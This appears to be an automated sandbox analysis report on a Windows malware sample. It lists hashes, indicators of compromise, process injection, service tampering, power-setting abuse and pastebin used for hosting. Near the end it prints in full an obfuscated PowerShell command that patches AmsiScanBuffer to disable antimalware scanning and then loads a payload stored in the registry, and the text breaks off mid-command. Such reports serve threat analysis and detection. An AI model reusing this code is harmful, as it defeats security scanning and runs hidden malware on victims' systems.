Analysis
- max time kernel
150s - max time network
142s - platform
windows11-21h2_x64 - resource
win11-20250610-en - resource tags
arch:x64arch:x86image:win11-20250610-enlocale:en-usos:windows11-21h2-x64system - submitted
10/10/2025, 04:04
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20250610-en
21 signatures
150 seconds
Behavioral task
behavioral2
Sample
file.exe
Resource
win11-20250610-en
18 signatures
150 seconds
General
- Target file.exe
- Size 8.4MB
- Sample251010-emw22atvbx
- SHA256 bde92e1dce25cae77e42162c51f9b176586675bf4f0df5fd077bfe675d4259f7
- MD5 3184a2e4511afbf1a1ba6081fab682b3
- SHA1 8917dfb665e6f91f52e167c1a5c70059db538d9e
- SHA512 fc2d9ac816347f2540b5d81d7e06f2d7838c560cb782567d638aea20f00897f559fae5beb7ca2c09d5f411b4f6b8c940e0b9167820401ecc1d6a37aa14893ef3
- SSDEEP 196608:6nULBsTMa7LNrX4Vsvzw1oHhFUGXwjB4TwHbmT8E1u6N:iU1cNri6nheUwkY
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 4916 created 628 4916 powershell.EXE 5 PID 1244 created 628 1244 powershell.EXE 5 -
pid Process 4916 powershell.EXE 1244 powershell.EXE 2476 powershell.exe 5004 powershell.exe - Creates new service(s) 2 TTPs
- Executes dropped EXE 1 IoCs
pid Process 2276 Svchost.exe - Stops running service(s) 4 TTPs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 1 pastebin.com 4 pastebin.com - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 5116 powercfg.exe 4824 powercfg.exe 4832 powercfg.exe 4840 powercfg.exe 1816 powercfg.exe 3796 powercfg.exe 1896 powercfg.exe 1636 powercfg.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\MRT.exe file.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\MRT.exe Svchost.exe File opened for modification C:\Windows\System32\Tasks\dialersvc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE - Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 6024 file.exe 6024 file.exe 2276 Svchost.exe 2276 Svchost.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 6024 set thread context of 4804 6024 file.exe 97 PID 4916 set thread context of 2796 4916 powershell.EXE 118 PID 2276 set thread context of 2728 2276 Svchost.exe 136 PID 2276 set thread context of 6052 2276 Svchost.exe 139 PID 2276 set thread context of 3428 2276 Svchost.exe 142 PID 1244 set thread context of 4516 1244 powershell.EXE 145 - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1516 sc.exe 5356 sc.exe 1100 sc.exe 2872 sc.exe 2684 sc.exe 3536 sc.exe 4912 sc.exe 3264 sc.exe 680 sc.exe 2424 sc.exe 1644 sc.exe 3052 sc.exe 5764 sc.exe 4884 sc.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={DEFAE7C2-5639-4CEA-AD49-242E5BAC2088}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1760069147" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 10 Oct 2025 04:05:48 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 6024 file.exe 6024 file.exe 6024 file.exe 2476 powershell.exe 2476 powershell.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 6024 file.exe 4916 powershell.EXE 4916 powershell.EXE 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 5004 powershell.exe 5004 powershell.exe 4916 powershell.EXE 2796 dllhost.exe 2796 dllhost.exe 2796 dllhost.exe 2796 dllhost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2276 Svchost.exe 2796 dllhost.exe 2796 dllhost.exe 3428 dialer.exe 3428 dialer.exe 2796 dllhost.exe 2796 dllhost.exe 1244 powershell.EXE 2796 dllhost.exe 2796 dllhost.exe 1244 powershell.EXE 2796 dllhost.exe 2796 dllhost.exe 2796 dllhost.exe 2796 dllhost.exe 2796 dllhost.exe 2796 dllhost.exe 2796 dllhost.exe 1244 powershell.EXE - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3288 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2476 powershell.exe Token: SeShutdownPrivilege 4832 powercfg.exe Token: SeCreatePagefilePrivilege 4832 powercfg.exe Token: SeShutdownPrivilege 5116 powercfg.exe Token: SeCreatePagefilePrivilege 5116 powercfg.exe Token: SeShutdownPrivilege 4840 powercfg.exe Token: SeCreatePagefilePrivilege 4840 powercfg.exe Token: SeShutdownPrivilege 4824 powercfg.exe Token: SeCreatePagefilePrivilege 4824 powercfg.exe Token: SeDebugPrivilege 4916 powershell.EXE Token: SeDebugPrivilege 5004 powershell.exe Token: SeDebugPrivilege 4916 powershell.EXE Token: SeDebugPrivilege 2796 dllhost.exe Token: SeShutdownPrivilege 1636 powercfg.exe Token: SeCreatePagefilePrivilege 1636 powercfg.exe Token: SeShutdownPrivilege 3796 powercfg.exe Token: SeCreatePagefilePrivilege 3796 powercfg.exe Token: SeShutdownPrivilege 1816 powercfg.exe Token: SeCreatePagefilePrivilege 1816 powercfg.exe Token: SeShutdownPrivilege 1896 powercfg.exe Token: SeCreatePagefilePrivilege 1896 powercfg.exe Token: SeLockMemoryPrivilege 3428 dialer.exe Token: SeDebugPrivilege 1244 powershell.EXE Token: SeDebugPrivilege 1244 powershell.EXE Token: SeDebugPrivilege 4516 dllhost.exe Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3428 dialer.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3716 wrote to memory of 2064 3716 cmd.exe 85 PID 3716 wrote to memory of 2064 3716 cmd.exe 85 PID 6024 wrote to memory of 4804 6024 file.exe 97 PID 6024 wrote to memory of 4804 6024 file.exe 97 PID 6024 wrote to memory of 4804 6024 file.exe 97 PID 6024 wrote to memory of 4804 6024 file.exe 97 PID 6024 wrote to memory of 4804 6024 file.exe 97 PID 6024 wrote to memory of 4804 6024 file.exe 97 PID 3620 wrote to memory of 4184 3620 cmd.exe 114 PID 3620 wrote to memory of 4184 3620 cmd.exe 114 PID 4916 wrote to memory of 2796 4916 powershell.EXE 118 PID 4916 wrote to memory of 2796 4916 powershell.EXE 118 PID 4916 wrote to memory of 2796 4916 powershell.EXE 118 PID 4916 wrote to memory of 2796 4916 powershell.EXE 118 PID 4916 wrote to memory of 2796 4916 powershell.EXE 118 PID 4916 wrote to memory of 2796 4916 powershell.EXE 118 PID 4916 wrote to memory of 2796 4916 powershell.EXE 118 PID 4916 wrote to memory of 2796 4916 powershell.EXE 118 PID 2796 wrote to memory of 628 2796 dllhost.exe 5 PID 2796 wrote to memory of 688 2796 dllhost.exe 7 PID 2796 wrote to memory of 992 2796 dllhost.exe 12 PID 2796 wrote to memory of 476 2796 dllhost.exe 13 PID 2796 wrote to memory of 1028 2796 dllhost.exe 14 PID 2796 wrote to memory of 1036 2796 dllhost.exe 15 PID 2796 wrote to memory of 1044 2796 dllhost.exe 16 PID 2796 wrote to memory of 1128 2796 dllhost.exe 18 PID 2796 wrote to memory of 1180 2796 dllhost.exe 19 PID 2796 wrote to memory of 1252 2796 dllhost.exe 20 PID 2796 wrote to memory of 1272 2796 dllhost.exe 21 PID 2796 wrote to memory of 1316 2796 dllhost.exe 22 PID 2796 wrote to memory of 1356 2796 dllhost.exe 23 PID 2796 wrote to memory of 1496 2796 dllhost.exe 25 PID 2796 wrote to memory of 1588 2796 dllhost.exe 26 PID 2796 wrote to memory of 1608 2796 dllhost.exe 27 PID 2796 wrote to memory of 1668 2796 dllhost.exe 28 PID 2796 wrote to memory of 1724 2796 dllhost.exe 29 PID 2796 wrote to memory of 1780 2796 dllhost.exe 30 PID 2796 wrote to memory of 1844 2796 dllhost.exe 31 PID 2796 wrote to memory of 1884 2796 dllhost.exe 32 PID 2796 wrote to memory of 1992 2796 dllhost.exe 33 PID 2796 wrote to memory of 1996 2796 dllhost.exe 34 PID 2796 wrote to memory of 1664 2796 dllhost.exe 35 PID 2796 wrote to memory of 1988 2796 dllhost.exe 36 PID 2796 wrote to memory of 2148 2796 dllhost.exe 37 PID 2796 wrote to memory of 2236 2796 dllhost.exe 39 PID 2796 wrote to memory of 2360 2796 dllhost.exe 40 PID 2796 wrote to memory of 2456 2796 dllhost.exe 41 PID 2796 wrote to memory of 2468 2796 dllhost.exe 42 PID 2796 wrote to memory of 2520 2796 dllhost.exe 43 PID 2796 wrote to memory of 2604 2796 dllhost.exe 44 PID 2796 wrote to memory of 2616 2796 dllhost.exe 45 PID 2796 wrote to memory of 2644 2796 dllhost.exe 46 PID 2796 wrote to memory of 2660 2796 dllhost.exe 47 PID 2796 wrote to memory of 2668 2796 dllhost.exe 48 PID 2796 wrote to memory of 3040 2796 dllhost.exe 49 PID 2796 wrote to memory of 3060 2796 dllhost.exe 50 PID 2796 wrote to memory of 1120 2796 dllhost.exe 51 PID 2796 wrote to memory of 3288 2796 dllhost.exe 52 PID 2796 wrote to memory of 3420 2796 dllhost.exe 53 PID 2796 wrote to memory of 3468 2796 dllhost.exe 54 PID 2796 wrote to memory of 3820 2796 dllhost.exe 57 PID 2796 wrote to memory of 3928 2796 dllhost.exe 58 PID 2796 wrote to memory of 3940 2796 dllhost.exe 59 PID 688 wrote to memory of 2604 688 lsass.exe 44 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:628
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:476
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ac9cb004-78db-44ec-9f6f-068699f8aacc}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2796
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{db4b06aa-f09e-496e-aad6-e36ffba04605}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4516
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:992
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1028
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1128
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XKIextcVTtMv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nZkkCeNzolatiV,[Parameter(Position=1)][Type]$Wamjbupewi)$YwagCztGSDt=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+'c'+''+[Char](116)+'edD'+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+[Char](108)+'e'+'g'+'a'+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e','C'+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+'Pu'+[Char](98)+''+'l'+'i'+'c'+','+'S'+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+'a'+''+'s'+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$YwagCztGSDt.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+[Char](112)+'e'+[Char](99)+''+'i'+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e,'+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$nZkkCeNzolatiV).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+'M'+''+'a'+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');$YwagCztGSDt.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+'e','P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'H'+''+'i'+'d'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+[Char](97)+''+'l'+'',$Wamjbupewi,$nZkkCeNzolatiV).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+'im'+[Char](101)+''+[Char](44)+'M'+[Char](97)+'na'+[Char](103)+''+'e'+'d');Write-Output $YwagCztGSDt.CreateType();}$eqemwVHSaVBZt=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+'o'+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+'i'+''+'n'+''+[Char](51)+''+[Char](50)+''+'.'+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+'ods');$nloarirltarkxj=$eqemwVHSaVBZt.GetMethod(''+[Char](71)+'et'+'P'+''+'r'+''+[Char](111)+'c'+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$orXTcMOhpNxXJPCUliR=XKIextcVTtMv @([String])([IntPtr]);$hzYSxXUtbiDjJkJyQvVqWA=XKIextcVTtMv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LeoFhgCyCvJ=$eqemwVHSaVBZt.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+'an'+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+'dll')));$bWnygUUXZEzDwS=$nloarirltarkxj.Invoke($Null,@([Object]$LeoFhgCyCvJ,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$duxuXnbMYBXqHVyjS=$nloarirltarkxj.Invoke($Null,@([Object]$LeoFhgCyCvJ,[Object](''+'V'+''+[Char](105)+'r'+'t'+''+'u'+''+'a'+''+[Char](108)+''+[Char](80)+'ro'+'t'+''+'e'+'c'+[Char](116)+'')));$obFcluc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bWnygUUXZEzDwS,$orXTcMOhpNxXJPCUliR).Invoke(''+[Char](97)+'m'+'s'+''+[Char](105)+''+'.'+''+'d'+'ll');$ZpNOZGOzjCouQdjWy=$nloarirltarkxj.Invoke($Null,@([Object]$obFcluc,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+'i'+'S'+'c'+''+[Char](97)+''+[Char](110)+''+'B'+'uf'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$hsHwJJjhYT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($duxuXnbMYBXqHVyjS,$hzYSxXUtbiDjJkJyQvVqWA).Invoke($ZpNOZGOzjCouQdjWy,[uint32]8,4,[ref]$hsHwJJjhYT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ZpNOZGOzjCouQdjWy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($duxuXnbMYBXqHVyjS,$hzYSxXUtbiDjJkJyQvVqWA).Invoke($ZpNOZGOzjCouQdjWy,[uint32]8,0x20,[ref]$hsHwJJjhYT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+'l'+[Char](101)+'rs'+'t'+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.